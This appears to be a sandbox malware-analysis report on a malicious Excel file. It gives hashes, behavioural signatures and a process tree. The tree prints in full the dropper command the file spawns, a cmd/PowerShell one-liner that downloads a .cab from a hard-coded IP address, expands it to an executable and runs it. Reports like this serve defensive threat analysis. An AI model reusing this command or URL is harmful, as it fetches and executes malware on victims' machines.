Analysis
-
max time kernel
28s -
max time network
32s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
10-07-2024 21:10
Behavioral task
behavioral1
Sample
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Resource
win10v2004-20240709-en
General
-
Target
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
-
Size
126KB
-
MD5
d89dfeaadf6cdf2b7ea3435644180b3a
-
SHA1
bc9767d6217daba21cfdf8ed7e8dba01742bf196
-
SHA256
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d
-
SHA512
928a0d467b79ba834f031e2a220c75e56017f7df7dba57be4a9ce274881f422683d70fdf39053c5f1496d1c59bb084fe6e8c0984d70b7740be49a1df631a560e
-
SSDEEP
1536:KdKcpx2Sk/8E3NEN1vn5jG685uUDf44fAg:8AxdEzvn5jb8cU
Malware Config
Extracted
http://85.143.166.190/asdvx/fghs.php
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2944 3056 cmd.exe 28 -
Blocklisted process makes network request 1 IoCs
flow pid Process 2 2996 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum EXCEL.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 EXCEL.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3056 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2996 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3056 wrote to memory of 2944 3056 EXCEL.EXE 29 PID 3056 wrote to memory of 2944 3056 EXCEL.EXE 29 PID 3056 wrote to memory of 2944 3056 EXCEL.EXE 29 PID 3056 wrote to memory of 2944 3056 EXCEL.EXE 29 PID 2944 wrote to memory of 2996 2944 cmd.exe 31 PID 2944 wrote to memory of 2996 2944 cmd.exe 31 PID 2944 wrote to memory of 2996 2944 cmd.exe 31 PID 2944 wrote to memory of 2996 2944 cmd.exe 31 PID 2996 wrote to memory of 2600 2996 powershell.exe 32 PID 2996 wrote to memory of 2600 2996 powershell.exe 32 PID 2996 wrote to memory of 2600 2996 powershell.exe 32 PID 2996 wrote to memory of 2600 2996 powershell.exe 32
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls1⤵
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\SysWOW64\cmd.execmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab'); expand C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe; start C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe;3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\SysWOW64\expand.exe"C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe4⤵PID:2600
-
-
-